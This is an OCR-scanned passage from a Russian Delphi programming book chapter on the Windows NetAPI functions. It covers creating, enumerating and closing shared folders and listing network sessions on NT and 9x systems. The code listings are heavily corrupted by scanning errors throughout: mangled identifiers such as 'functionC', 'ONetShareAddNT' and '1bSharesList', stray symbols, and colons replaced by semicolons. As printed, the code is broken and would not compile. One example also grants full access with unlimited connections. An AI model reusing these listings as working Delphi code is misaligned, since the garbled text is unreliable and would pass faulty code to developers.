не объяснишь, потому что про- блем здесь очень много и связаны они с тем, что открытие доступа в Windows 9х абсолютно отличается от Windows NT. В Windows 9х безопасность доступа к файлам намного проще и для программной работы используется файл Svrapi.dll. В Windows NT аналогичные функции распо- ложены в файле NetAPI32.dll. Параметры и типы данных, применяемые в этих функциях, отличаются в основном с точки зрения строк, потому что
236 Глава 5. Сетевая практика в NT-системах используются строки Unicode. При запуске программы вы должны проверять версию ОС и в зависимости от этого загружать нужную библиотеку. Когда я разбирался с тем, как работать с расширенными (открытыми для общего доступа) ресурсами, то пытался найти какой-нибудь хороший заголовочный файл, который позволил бы работать с нужными функциями, так как в Delphi нет их описания. Ничего подходящего я не нашел, потому что все файлы привязаны к оп- ределенным ОС и библиотекам, не позволяя добиться универсальности. Для решения этой проблемы я создал собственный файл NetAPI.pas, в котором описаны все нужные функции, структуры и константы. Единственное, чего в нем нет, — это привязки к определенной библиотеке. Если бы я сделал это, то программа при старте загружала бы обе библиотеки и искала нужные функции, а так как, в любом случае, одной из библиотек в ОС нет, то программа была бы заведомо нерабочей. В листинге 5.14 приведен полный код файла NetAPI.pas. Листинг 5.14. Заголовочный файл NetAPI.pas unit NetApi; interface uses Wi ndows; type TShareInfo2 = packed record shi2_netname; PWideChar; shi2_type: DWORD; shi2_remark: PWideChar; shi2_permissions; DWORD; shi2_max_uses; DWORD; shi2_current_uses; DWORD; shi2__path; PWideChar: shi2_passwd: PWideChar; end; PShareInfo2 = ' TShareInfo2; TShareInfo2Array = array [0..1024] of TShareInfo2; PShareInfo2Array = A TShareInfo2Array; type TShareInfo502 = packed record shi502_netname; array [0..12] of Char; shi502_type; Byte; shi502_flags; Word; shi502_remark; PChar; shi502_path: PChar; shi502_rw_password; array [0..8] of Char; . shi502_ro_password: array [0..8] of Char; end;
5.8. Открытые папки 237 type TSessionInfo502 = packed record Sesi502__cname: PWideChar; Sesi502_username; PWldeChar; Sesi502_num_opens: DWORD; Sesi502_time; DWORD; Ses1502_idle_time: DWORD; Sesi502_user_flags; DWORD; Sesi502_cltype_name: PWideChar; Ses1502_transport; PWldeChar; end ; PSessionInfo502 = ^TSessionInfo502; TSessionInfo502Array = array[0..1024] of TSessionInfo502; PSessionInfo502Array = "TSessionInfo502Array; TSessionInfo50 = packed record Sesi50_cname; PChar; Sesi50_username: PChar; sesi50_key; Cardinal; sesi50_num_conns; Word; sesi50_num_opens: Word; sesi50_time; Cardinal; sesi50_idle_time; Cardinal; sesi50_protocol; Byte; padl; Byte; end; type TFileInfo3 = packed record fi3Jd; DWORD; fi3_permissions; DWORD; fi3_num_locks; DWORD; * fi3_pathname: PWideChar; fi3_username; PWideChar; end; PFileInfo3 = "TFileInfo3; TFileInfo3Array = array[0..1024] of TFileInfo3; PFileInfo3Array = ^TFileInfo3Array; type TFileInfo502 = packed record fi502_id; Cardinal; fi502__permissions; WORD; fi502_num_locks; WORD; fi502_pathname; PChar; fi502_username; PChar; fi502_sharename; PChar; end; type продолжение &
238 Глава 5. Сетевая практика Листинг 5.14 (продолжение) TMiblfRow = packed record wszName: array[0..255] of WideChar; dwlndex: DWORD; dwType; DWORD; dwMtu: DWORD; dwSpeed; DWORD; dwPhysAddrLen; DWORD; bPhysAddr: array[0..7] of Byte; dwAdminStatus; DWORD; dwOperStatus; DWORD; dwLastChange; DWORD; dwInOctets; DWORD; dwInUcastPkts: DWORD; dwInNUCastPkts; DWORD; dwInDiscards: DWORD; dwInErrors; DWORD: dwInUnknownProtos: DWORD; dwOutOctets: DWORD; dwOutUCastPkts: DWORD; dwOutNUCastPkts: DWORD; dwOutDiscards; DWORD; dwOutErrors; DWORD; dwOutQLen; DWORD; dwDescrLen: DWORD; bDescr; array[0..255] of Char; end; TMIblfArray = array [0..1024] of TMiblfRow; PMiblfRow = "TMiblfRow; PMiblfArray = "TMIblfArray; type TMiblfTable = packed record dwNumEntrles: DWORD; Table; TMIblfArray; end; PMIblfTable = "TMiblfTable; const STYPEJHSKTREE = 0; STYPE_PRINTQ = 1; STYPE-DEVICE = 2; STYPEJPC = 3; ACCESS_READ = 1; ACCESS_WRITE = 2; ACCESS_CREATE = 4; ACCESS_EXEC = 8; ACCESS_DELETE = 16; ACCESS_ATRIB = 32; ACCESS-PERM = 64;
5.8. Открытые папки 239 ACCESS_ALL = 258; WIDE_LENGTH = SizeOF(WideChar)*256; var NetShareEnumNT: functionC servername: PWideChar; level: DWORD: bufptr: Pointer; prefmaxien: DWORD; entriesread, total entries, resume_handle:LPDWORD): DWORD; stdcall; NetShareEnum: function( pszServer: PChar: stevel: Cardinal: pbBuffer; Pchar; cbBuffer: Cardinal; pcEntriesRead, pcTotalAvail Pointer): DWORD; stdcall: NetShareAddNT: function( servername: PWideChar; level: DWORD; buf: Pointer; parm_err: LPDWORD); DWORD: stdcall; NetShareAdd: function( pszServer: Pchar; . sLevel; Cardinal; pbBuffer: PChar; cbBuffer:Word): DWORD; stdcall; NetShareDelNT: function( servername: PWideChar; netname: PWideChar; reserved: DWORD): Longint; stdcall; NetShareDel: function( pszServer, pszNetName: PChar; usReserved: Word): DWORD: stdcall; NetSessionEnumNT: functionC servername, UncClientName, username: PWideChar; level: DWORD; bufptr: Pointer: продолжение &
240 Глава 5. Сетевая практика Листинг 5.14 (продолжение) prefmaxien: DWORD: entriesread, total entries, resume_handle: LPDWORD): DWORD: stdcall; NetSessionEnum: function( pszServer: PChar; sLevel: DWORD: pbBuffer: Pointer: cbBuffer: DWORD: pcEntriesRead, pcTotalAvial:Pointer): integer; stdcall: NetSessionDelNT: function( ServerName, UncClientName, username: PWldeChar): DWORD: stdcall: NetSessionDel: function( pszServer: PChar; pszClientName: PChar; sReserved: Smalllnt): DWORD; stdcall; NetFileEnumNT: functionC servername, basepath, username: PWideChar; level: DWORD: bufptr: Pointer; prefmaxien: DWORD; entriesread, totalentries, resume_handle: LPDWORD): DWORD: stdcall: NetFileEnum: functionC pszServer, pszBasePath: PChar; sLevel: DWORD: pbBuffer: Pointer: cbBuffer: DWORD: pcEntriesRead, pcTotalAvail:pointer): integer: stdcall: NetFileCloseNT: functionC ServerName: PWideChar; Fileld: DWORD): DWORD: stdcall: NetFileClose: functionC pszServer:PChar; ulFileld: LongWord): DWORD; stdcall:
5.8. Открытые папки 241 GetlfTable: function( plfTable: PMiblfTable: pdwSize: PULONG: border: Boolean ): DWORD: stdcall: implementation end. Пример тщательно протестирован в Windows NT, а в Windows 9x я проводил только поверхностное тестирование на чужом компьютере. Этот файл нет смыс- ла создавать вручную, потому что он расположен на компакт-диске к этой книге в каталоге Additional, а здесь приведен для удобства чтения последующих описа- ний и примеров. Поместите этот файл в каталоге, в котором Delphi сможет его найти (путь к пап- ке должен быть прописан в настройках Delphi), или в папке с исходным кодом вашего проекта. 5.8.1. Как загрузить нужную библиотеку Теперь посмотрим, как использовать функции для работы с открытыми ресурса- ми. При старте программы нужно определить используемую ОС и в зависимости от этого загружать нужную библиотеку. Пример осуществления этих операций приведен листинге 5.15. Листинг 5.15- Определение ОС и загрузка библиотеки procedure TForml.FormShow(Sender: TObject): var ver: TOSVersionlnfo: begin ver.dwOSVersionlnfoSize : = SizeOf(TOSVersiOnlnfo); GetVersionEx(Ver); case Ver.dwPlatformld of V ER_PLATF0RM_WIN32_NT: bNT : = True: V ER_PLATF0RM_WIN32_WINDOWS: bNT := False: V ER_PLATF0RM_WIN32s: bNT := False end: if bNT then fHandleNT : = LoadLibrary('NETAPI32.DLL') else fHandle9x : = LoadLibrary('SVRAPI.DLL'); end: Для определения ОС применяется функция GetVersionEx. Ей нужно передать струк- туру типа TOSVersionlnfo, у которой заполнено только одно поле — dwOSVersionln- foSize, и размер самой структуры. После выполнения функции в поле dwPlatformld будет одна из трех констант: • VER_PLATFORM_WIN32_NT - это NT-платформа (Windows NT, 2000, ХР, 2003). Переменной bNT присваиваем true; 9 Зак. 308
242 Глава 5, Сетевая практика • VER_PLATF0RM_WIN32_WIND0WS — это 9х-платформа. Переменной bNT присваиваем false; • VER_PLATF0RM_WIN32s — это Windows 3.1 с 32-битной надстройкой. В этой вер- сии функции не тестировались. По идее, таких функций там просто нет и мы должны выйти из программы, но я не думаю, что у кого-то сохранилась эта ОС. Переменной bNT присваиваем false Переменная bNT — это переменная типа Boolean, которая объявляется в разделе private нашей формы. Она необходима для того, чтобы в любой момент узнать, какая версия Windows используется. Теперь, если переменная bNT имеет значение true, то загружаем библиотеку NetAPI32.dll: fHandleNT := LoadLibrary('NETAPI32.DLL') Иначе загружается библиотека Svrapi.dll: fHandle9x : = LoadLibrary('SVRAPI.DLL'); Переменные fHandleNT и fHandle9x должны быть объявлены в разделе private глав- ной формы и иметь тип THandle. Конечно же, можно было бы обойтись и без переменной bNT, а просто загружать нужную библиотеку в зависимости от определенной версии ОС. Для определе- ния версии достаточно было бы проверить на правильность указатели в перемен- ных fHandleNT и fHandle9x. Если переменная fHandleNT содержит нулевой указатель, то это Windows 9х, и наоборот. 5.8.2. Как открыть доступ к папке Теперь давайте на практике будем знакомиться с функциями, описанными в мо- дуле NetAPI.pas. Для начала создадим программу, которая будет открывать общий доступ. Создайте новое приложение, подключите модуль NetAPI в разделе uses. Добавьте по событию OnShow для главной формы код определения ОС и загрузки нужной библиотеки. Главное окно будущей программы (рис. 5.13) должно содержать че- тыре поля ввода типа TEdit: Рис. 5.13. Окно будущей программы
5.8. Открытые папки 243 • edSharePath — для указания пути к папке, доступ к которой надо открыть; • edNetName — для указания сетевого имени, которое пользователь будет видеть в сетевом окружении для этой папки; • edPass — пароль на доступ к папке; • edComment — комментарий, который будет отображаться в сетевом окружении. Расположите на форме кнопку Добавить. По ее нажатии нужно написать код из листинга 5.16. Листинг 5.16, Код добавления открытого ресурса procedure TForml.bnAddCl1ck(Sender: TObject); var Share9x: TShareInfo502; ShareNT: TSharelnfo2; wcPath. wcName, wcPass, wcComment: PWldeChar: begin if bNT then begin 7/ Далее идет код для NT-систем ONetShareAddNT := GetProcAddress(fHandleNT.'NetShareAdd'): if ONetShareAddNT = nil then exit; // Конвертирование строк в Unicode GetMem(wcPath. WIDE_LENGTH): StringToWideChar(edSharePath.Text. wcPath, WIDE_LENGTH): GetMem(v/cName. WIDE_LENGTH); StringToWideChar(edNetName.Text. wcName, WIDEJ_ENGTH); GetMem(wcPass. WIDE_LENGTH): StringToWideChar(edPass.Text. wcPass. WIDE_LENGTH): GetMem(wcComment, WIDE_LENGTH); StringToWideChar(edComment.Text. wcComment, WIDE_LENGTH): // Заполнение структуры ShareNT.shi2_path := wcPath: ShareNT.shi2_netname := wcName; ShareNT.shi2_passwd := wcPass; ShareNT.shi2_remark := wcComment: ShareNT.shi2_type ;= STYPEJDISKTREE; ShareNT.shi2_remark := '' : ShareNT.shi2_permissions := ACCESS_ALL: ShareNT.shi2_max_uses := DWORD(-l): ShareNT.shi2_current_uses := 0; // Добавление открытого ресурса NetShareAddNT(nil. 2. QShareNT, nil): продолжение &
244 Глава 5. Сетевая практика Листинг 5.16 (продолжение) // Освобождение строк Unicode FreeMem (wcName); FreeMem (wcPath); FreeMem (wcPass); FreeMem (wcComment); end else begin // Код для Windows 9x ^NetShareAdd := GetProcAddress(fHandle9x,’NetShareAdd’); if ONetShareAdd = nil then exit; // Заполнение структуры FillChar(Share9x.shi502_netname. SizeOf(Share9x.shi502_netname), #0); move(edNetName.Text[l], Share9x.shi502_netname[0]. Length(edNetName.Text)): Share9x.shi502_type := STYPE_DISKTREE; Share9x.shi502_flags := ACCESS_ALL; Fil1 Char(Share9x.shi502_remark, Size0f(Share9x.shi502_remark). #0); F111Char(Share9x.shi502_path, SizeOf(Share9x.shi502_path). #0); Share9x.shi502_path := PAnsiChar(edSharePath.Text); Fill Char(Share9x.shi502_rw_password. Size0f(Share9x.shi502_rw_password),#0); F111Char(Share9x.sh1502_ro_password, S1ze0f(Share9x.shi502_ro_password).#0); NetShareAdd(nil. 50, @Share9x, Size0f(Share9x)); end; end; Весь код процедуры разбит на две части. В первой мы открываем доступ для Win- dows NT, а во второй — для Windows 9х. Принцип работы обеих частей одинаков и состоит из нескольких пунктов. 1. Определение адреса нужной процедуры. 2. Заполнение структуры типа TShareInfo2 или TShareInfo502 в зависимости от используемой ОС. 3. Вызов функции NetShareAddNT или NetShareAdd в зависимости от используе- мой ОС. Рассмотрим случай с NT-системами (потому что он сложнее из-за необходимо- сти преобразования строк в Unicode), а с Windows 9х разобраться будет проще. Итак, добавление открытого ресурса происходит с помощью NetShareAdd, ио она различна для NT- и Эх-систем. Так как нет возможности прописать это в заго- ловочном файле, работа осуществляется динамически. Для определения адре- са функции в динамической библиотеке используется функция GetProcAddress. Ей передаются два параметра — указатель на загруженную библиотеку и имя функции, которую надо найти. Если нужная функция найдена, то результатом будет действительный указатель, иначе — нулевое значение. Ошибка может возникнуть, если случайно загрузилась другая библиотека вместо системной (возможно, пользовательская) с таким же именем.
5.8. Открытые папки 245 После этого конвертируем текстовые переменные (содержимое всех прлей вво- да) в формат Unicode. Для этого объявлены 4 переменные типа PWi deChar для каж- дого поля ввода. Тип PWideChar — это указатель на строку Unicode, а раз эго указатель, то такая пере- менная автоматически не инициализируется. Для нее нужно выделить память с помощью функции GetMem. Функция имеет два параметра — переменная-указа- тель, в которую будет записан указатель на выделенную память, и размер выде- ляемой памяти. В качестве размера используется константа WIDE_LENGTH, которая объявляется в заголовочном файле NetAPI следующим образом: WIDE_LENGTH = SizeOF(WideChar)*256: Здесь SizeOF(WideChar) — это размер одного символа Unicode. Известно, что он равен 2, но более правильно будет определять все размеры с помощью функции SizeOf. Получается, что константа WIDE_LENGTH равна 256x2, где 2 — это размер од- ного символа. Если посмотреть на эту константу с другой стороны, то она равна длине строки из 256 символов в формате Unicode. Таким образом, с использованием функции GetMem выделяется память для хране- ния строк в формате Unicode не более чем из 256 символов. Для нашей програм- мы этого вполне достаточно. После преобразования строк заполняется структура TShareInfo2 в случае с Win- dows NT или TShareInfo502 в случае с Windows 9х. Обе структуры описаны в лис- тинге 5.17. Листинг 5.17, Структуры TShareInfo2 и TShareInfo502 TShareInfo2 = packed record shi2_netname: PWideChar; shi2_type: DWORD; shi2_remark: PWideChar; shi2_permissions; DWORD; shi2_max_uses; DWORD; shi2_current_uses; DWORD; shi2_path: PWideChar; shi2_passwd; PWideChar; end; PShareInfo2 = A TShareInfo2; TShareInfo2Array = array [0..1024] of TShareInfo2; PShareInfo2Array = A TShareInfo2Array; type TShareInfo502 = packed record shi502_netname: array [0..12] of Char; shi502_type; Byte: shi502_flags: Word; shi502_remark; PChar; shi502_path: PChar; shi502_rw_password: array [0..8] of Chah; shi502_ro_password: array [0..8] of Char; end;
246 Глава 5. Сетевая практика Структура TShareInfo2 имеет следующие параметры: • shi2_netname — сетевое имя, которое будет отображаться в сетевом окружении; • shi 2_type — тип устройства, к которому открывается доступ. Здесь можно ука- зывать одно из следующих значений: О STYPE_DISKTREE — диск или папка; О STYPE_PRINTQ — принтер; О STYPE_DEVICE — устройство связи; О STYPE_IPC — межпроцессорное взаимодействие (IPC или Inter Process Com- munication); • shi2_remark — комментарий, который будет отображаться для данного ресурса в сетевом окружении; • shi2_permissions — права доступа. Здесь может быть любое сочетание из сле- дующих констант: О ACCESS_READ — доступ на чтение; О ACCESS_WRITE — доступ на запись; О ACCESS_CREATE — доступ на создание; О ACCESS_EXEC — доступ на выполнение; О ACCESS_DELETE — доступ на удаление; О ACCESS_ATRIB — доступ на изменение атрибутов; О ACCESS PERM — доступ на изменение разрешений чтения, записи, создания, выполнения и удаления; О ACCESS_ALL — полный доступ; • shi2_max_uses — максимальное количество подключений. Если указать -1, то количество подключений неограниченно; • shi2_current_uses — количество текущих подключений; • shi2_path — путь к ресурсу (папке); • shi2_passwd — пароль. После заполнения всех полей структуры вызывается функция NetShareAddNT, ко- торая для NT-систем объявлена следующим образом: function NetShareAddNT( servername: PWideChar; • level: DWORD; buf; Pointer; parm_err: LPDWORD ): DWORD; stdcall; В случае использования Windows 9x вызывается функция NetShareAdd: function NetShareAdd( pszServer: Pchar; sLevel; Cardinal;
5.8. Открытые папки 247 pbBuffer :PChar; cbBuffer; Word ): DWORD; stdcall; Рассмотрим параметры функций NetShareAdd и NetShareAddNT: • имя сервера, на котором происходит открытие ресурса. Для локального компью- тера можно указывать ni 1, а для удаленной системы нужно указать реальное имя, при наличии соответствующих прав на изменение параметров доступа; • уровень. Имеет значения 2 или 502 для Windows NT и 50 для Windows 9х; • указатель на заполненную структуру SHARE_INFO; • указатель на числовую переменную типа DWORD. В случае ошибки в ней будет указан параметр структуры, который не был распознан или указан неправиль- но. Если указать ni 1, то определить ошибочный параметр нельзя. Попробуйте запустить пример и протестировать его работоспособность. После изменения прав доступа в значке папки должна появиться рука, но при программ- ном изменении она появляется не сразу. Чтобы рука отобразилась, нужно пере- загрузить компьютер или войти в свойства папки и выйти из них, нажав кноп- ку ОК. В свойствах папки на вкладке Доступ параметры, указанные программно, отображаются сразу и корректно (рис. 5.14). Рис. 5.14. Диалоговое окно настройки общего доступа ПРИМЕЧАНИЕ ------------------------------------------------------------------ Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch05\NetApi.
248 Глава 5. Сетевая практика 5.8.3. Перечисление общих ресурсов Прежде чем научиться закрывать ресурсы, давайте изучим, как можно опреде- лить все, что открыто на компьютере. В книге «Программирование в Delphi гла- зами хакера» я приводил способ перечисления ресурсов всей сети (и для отдель- ного компьютера), применяющий функцию WNetEnumResource. Корпорация Microsoft рекомендует использовать именно этот способ. Но сейчас мы рассмот- рим функцию NetShareEnum пакета NetAPI. Функция NetShareEnum уже немного устарела, и ее описания нет в файле помощи Win API. Вместо этого указана ссылка на функцию WNetEnumResource и дана реко- мендация применять именно ее. Не будем следовать рекомендациям, а восполь- зуемся более простым вариантом. Итак, добавим в предыдущий пример (см. раздел 5.8.2 данной главы) одну кноп- ку, по нажатии которой будет запускаться перечисление и компонент TListBox — для отображения открытых сетевых ресурсов. Обновленную форму вы можете увидеть на рис. 5.15. Рис. 5.15. Обновленная форма программы По нажатии кнопки Посмотреть нужно написать код из листинга 5.18. Листинг 5.18. Определение открытых ресурсов procedure TForml.dnLIstSharesCl1ck(Sender: TObject); var 1 : Integer; ShareNT; PShareInfo2Array; Share9x; array [0..1024] of TShareInfo502; ICount. ITotal; Integer; begin 1bSharesLI st.Items.Clear; if bNT then
5.8. Открытые папки 249 begin г // Далее код для NT-систем @NetShareEnumNT \= GetProcAddress(fHandleNT,'NetShareEnum'): if @NetShareEnumNT = nil then exit; // Определяем открытые ресурсы ShareNT := nil; if NetShareEnumNT(ni1,2.OShareNT.DWORD(-1). @iCount.@iTotal.nil) <> 0 then exit; // Выводим в список if iCount > 0 then for i ;= 0 to iCount-1 do 1 bSharesList. Items.Add(String(ShareNTx[i]. shi2_netname)); end else begin /7 Далее код для 9х-систем (^NetShareEnum ;= GetProcAddress(fHandle9x, 'NetShareEnum'); if ^NetShareEnum = nil then exit; // Определяем открытые ресурсы if NetShareEnum(nil. 50. @Share9x, Size0f(Share9x). @iCount. @iTotal)<> 0 then exit; // Выводим в список if iCount > 0 then for i ;= 0 to iCount-1 do 1bSharesList.Items.Add(String(Share9x[i].shi502_netname)); end; end; Как и при добавлении ресурсов, функция NetShareEnum имеет два варианта для разных ОС. Из-за этого весь код приходится разбивать на две части — для NT- систем и Windows 9х. В данном случае используются функции из разных биб- лиотек и структуры с параметрами другого типа. Вначале определяется адрес функции в библиотеке. Если во время определения произошла ошибка, то указатель на функцию будет нулевым и дальнейшее вы- полнение станет невозможным. После этого запускается функция NetShareEnumNT для NT-систем или NetShareEnum для Windows 9х. Для NT-систем функция описывается следующим образом; function NetSessionEnumNT( servername. UncClientName. username; PWideChar;
250 Глава 5. Сетевая практика level: DWORD; bufptr: Pointer: prefmaxien: DWORD; entrlesread, totalentries, resume_handle: LPDWORD ): DWORD; stdcall; Для Windows 9x нужно использовать функцию такого вида: NetSesslonEnum: funct1on( pszServer: PChar; stevel: DWORD; pbBuffer: Pointer; cbBuffer: DWORD; pcEntrlesRead, pcTotalAvlal; Pointer ): Integer; stdcall; Рассмотрим параметры функции NetShareEnumNT, для NetShareEnum они имеют ана- логичное значение: • ServerName — имя сервера, на котором надо искать открытые ресурсы. Если ука- зать нулевое значение, то поиск будет происходить на локальном компьютере; • Level — уровень, может быть 0,1,2,50,502. От уровня зависит структура, кото- рую нужно будет передать, и ее параметры; • BufPtr — указатель на буфер, через который будет возвращена информация. Для NT-систем это указатель, через который будет возвращен массив, а для Эх-систем нужно указывать массив, который должен быть заполнен. Теорети- чески, для Windows NT можно указать уровень (параметр sLevel) 50 и массив структур для заполнения, как для Эх-систем. Но это теоретически, а практи- чески в Windows 2003 в этом случае возникает ошибка; • prefmaxi еп — максимальное количество возвращаемых записей. Если указать -1, то будут возвращены все записи; • EntriesRead — через этот параметр нам будет возвращено количество действи- тельно прочитанных ресурсов; • Total Entries — через этот параметр мы получим общее количество записей в системе; • Resume_Handlе — если вы запросили не все записи и увидели, что параметр Total - Entries больше EntriesRead, то есть прочитаны не все записи, то в данном пара- метре можно указать запись, с которой нужно начать перечисление, чтобы по- лучить оставшиеся записи. После этого просто перечисляем все полученные данные и выводим их в список. ПРИМЕЧАНИЕ --------------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch05\NetApi2.
5.8. Открытые папки 251 5.8.4. Закрытие общих ресурсов Перейдем к рассмотрению функции закрытия открытого ресурса. Добавим в на- ше приложение еще одну кнопку, и по ее нажатии нужно написать код из листин- га 5.19. Листинг 5.19. Код закрытия открытого ресурса procedure TForml.bnDeleteClick(Sender: TObject); var sShareName: String; Name9x; array [0..12] of Char; NameNT: PWChar; begin if 1bSharesList.Itemindex = -1 then begin ShowMessage('Выдели шару, которую надо закрыть'): exit; end; sShareName ;= 1bSharesList.Items.Strings[1bSharesLi st.Itemindex]; if bNT then begin // Далее идет код для NT-систем ONetShareDelNT := GetProcAddress(fHandleNT, 'NetShareDel'): if @NetShareDelNT = nil then exit; // Конвертация в Wide Char GetMenUNameNT. WIDE_LENGTH); StringToWideChar(sShareName. NameNT. WIDE_LENGTH); NetShareDeiNT(ni1. NameNT. 0); FreeMem(NameNT); end else v begin // Далее идет код для 9х-систем ONetShareDel ;= GetProcAddress(fHandle9x, 'NetShareDel'); if ONetShareDel = nil then exit; FillChar(Name9x. Size0f(Name9x). #0); move(sShareName[l]. Name9x[0], Length(sShareName)); NetShareDel(nil. @Name9x,0); end; dnListSharesClick(nil); end; Я думаю, что вам уже надоело рассматривать однообразный код поиска нужной процедуры в библиотеке, но от этого никуда не деться. Мы могли найти все про-
252 Глава 5. Сетевая практика цедуры при старте программы, а здесь только использовать, но это невыгодно, потому что пользователь может запустить программу один раз и тут же выйти из нее, и тогда поиск при старте будет бессмыслен. Когда пользователь регулярно работает с программой и постоянно добавляет, уда- ляет или просматривает ресурсы, то производить поиск при каждом вызове нера- ционально (из-за повторения операций). Гораздо лучше найти все функции и сох- ранить их адреса в свои переменные при старте. Для закрытия открытого ресурса необходимо знать его имя. Пользователь дол- жен перечислить все, что открыто на данный момент, выделить в списке нужный ресурс и нажать кнопку удаления. Мы же определяем, что выделено. Если пользователь ничего не выбрал (1 bSharesList. Itemindex равно -1), то выво- дим соответствующее сообщение и выходим, потому что удалять будет нечего и произойдет ошибка. При наличии выделенного элемента определяем его имя: sShareName : = 1bSharesList.Items.Strings[lbSharesList.Itemindex]; Далее код разделяется для NT- и Эх-систем, но, как и раньше, оба случая схожи. Разница состоит в том, что для NT-систем имя удаляемого ресурса переводится в формат Unicode. Сначала определяем адрес нужной функции в загруженной динамической библио- теке. Далее строки преобразовываются уже знакомым нам способом, происходит вызов функции NetShareDelNT (для NT-систем) или NetShareDel (для Эх-систем), ко- торая и производит удаление. Функция NetShareDelNT описывается следующим об- разом: function NetShareDelNT( ServerName: PWideChar: NetName: PWideChar: Reserved: DWORD ): Longint: stdcall; Для Windows Эх объявление отличается только типом строк: function NetShareDel( pszServer. pszNetName: PChar; usReserved: Word ): DWORD: stdcall: Рассмотрим параметры функции NetShareDelNT, для NetShareDel они имеют анало- гичное значение: • ServerName — имя сервера, на котором нужно произвести закрытие открытого ресурса; • NetName — имя удаляемого ресурса; • Reserved — зарезервировано. В последнем параметре лучше указывать 0 и воспринимать как константу. Хотя оп зарезервирован, использовать его уже не будут, потому что данные функции позабыты программистами Microsoft, несмотря на их простоту и удобство, даже с учетом отличий в реализации для разных систем.
5.9. Мониторинг сетевой активности 253 ПРИМЕЧАНИЕ ------------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch05\NetApi3. 5.9. Мониторинг сетевой активности Любой администратор желает знать, кто подключился к его компьютеру, чем за- нимается и где «пакостит». Любой хакер хочет научиться программно отслежи- вать активность, происходящую в сети с его компьютером. Это вечная борьба любопытства и дверей, которые скрывают все самое сокровенное. Как же можно программно следить за тем, кто и как работает на вашем компьюте- ре по сети? В этом нам поможет заголовочный файл Net API, который мы рас- смотрели в главе 4. В нем уже описаны все необходимые функции, а сейчас нам предстоит разобрать их подробнее и создать какой-нибудь полезный пример. 5.9.1. Просмотр подключений Для иллюстрации мониторинга подключений создадим новое приложение и сра- зу же подключим к нему заголовочный файл NetAPI. На форме нам понадобятся один компонент типа Т1 istView — для отображения подключений и две кнопки — для получения из системы текущих подключений и удаления выделенного под- ключения. Для компонента TListView нужно выполнить следующие изменения: • в свойстве Name указать имя IwSessions; • в свойстве Vi ewStyl е установить значение vsReport; • дважды щелкнуть левой кнопкой мыши на свойстве Columns и в редакторе ко- лонок создать 5 колонок со следующими именами: О Компьютер — для отображения имени или адреса компьютера, подключен- ного к нашему компьютеру; О Пользователь — учетная запись, которая используется при входе; О Открыто — сколько файлов открыто пользователем; О Время — в течение какого времени пользователь находится в системе; О Простаивает — сколько времени пользователь находится в системе в неак- тивном состоянии, то есть подключен, но не работает с сетью; О Тип — тип клиента, подключившегося к системе. В данном поле выводится ОС клиента. Это поле будет заполняться только для NT-систем; О Протокол — какой протокол используется. При подключении через сетевое окружение мы сможем увидеть в этой колонке /Device/NetBiosSmb. Поле бу- дет заполняться только для NT-систем. Для того чтобы компонент TListView стал еще более удобным, можно изменить следующие свойства:
254 Глава 5. Сетевая практика • RowSelect — установим в true, чтобы при выборе элемента выделялась вся строка; • HideSelection — установим в false, чтобы при потере фокуса выделение не ис- чезало; • GridLines — установим в true, чтобы отображать сетку. На рис. 5.16 вы можете увидеть форму будущей программы. Рис. 5.16. Форма будущей программы На этом визуальное оформление закончено, переходим к программированию. В разделе private нашей формы нужно объявить следующие переменные: private {Private declarations} bNT: Boolean: fHandleNT. fHandle9x: THandle: SessionKeys: array [0..1024] of Integer: Назначение всего, кроме SessionKeys, должно быть понятно (см. раздел 5.8). Мас- сив SessionKeys будет использоваться для хранения ключей, которые необходимы при удалении в 9х-системах. По событию OnShow для формы делаем проверку ОС, загрузку библиотеки и нуж- ных функций (листинг 5.20). Листинг 5.20. Определение ОС и загрузка нужной библиотеки procedure TMonitorForm.FormShow(Sender: TObject): var ver: TOSVersionlnfo; bOgin ver.dwOSVersionlnfoSize := SizeOf(TOSVersionlnfo); GetVersionEx(Ver): ' case Ver.dwPlatformld of VER_PLATF0RM_WIN32_NT: bNT : = True: VER_PLATF0RM_WIN32_WlND0WS: bNT : = False: VER_PLATF0RM_WIN32s: bNT := False end: if bNT then
5.9. Мониторинг сетевой активности 255 begin fHandleNT : = LoadLibrary('NETAPI32.DLL'): @NetSessionEnumNT : = GetProcAddress(fHandleNT. 'NetSessionEnum'); ©NetSesslonDelNT := GetProcAddressCfHandleNT. 'NetSesslonDel'); end else begin fHandle9x ; = LoadL1brary('SVRAPI.DLL'); ©NetSessionEnum := GetProcAddress(fHandle9x. 'NetSessionEnum'); ©NetSesslonDel := GetProcAddress(fHandle9x, 'NetSesslonDel'); end; end; Код похож на тот, что мы использовали в разделе 5.8, только здесь сразу же опре- деляются адреса нужных функций NetSessionEnum и NetSesslonDel (их назначение мы рассмотрим чуть позже). Таким образом, затрачивается несколько процессор- ных тактов при загрузке, но эти же такты экономятся при каждом обращении к функциям. Теперь посмотрим на код, который должен выполняться по нажатии кнопки По- казать (листинг 5.21). Листинг 5.21. Получение списка подключений procedure TMonitorForm.bnShowClick(Sender: TObject); var Sess1onlnfo50; array [0..1024] of TSess1onInfo50; Sess1onlnfo502: PSess1onInfo502Array; Total Entries. EntrlesReadNT: DWORD; EntriesRead. TotalAvlal: Word; 1; Integer: begin IwSesslons.Items.Cl ear: if bNT then begin // Далее идет код для NT-систем Sessionlnfo502 := nil; If NetSess1onEnumNT(nil. nil. nil. 502. ©Sess1onlnfo502, DWORD(-l), ©entrlesreadNT. ©totalentries, nil) <> 0 then exit; for 1 := 0 to EntrlesReadNT-1 do begin with IwSessions.Items.Add do begin Caption := string(Sess1onInfo502^[1].sesi502_cname); SubItems.Add(SessionInfo502^[1].sesi502_username); SubItems.Add(IntToStr(SessionInfo502^[1].ses1502_num_opens)); SubItems.Add(T1meToStr(Sess1onInfo502'[1].Sesi502_T1me)); продолжение &
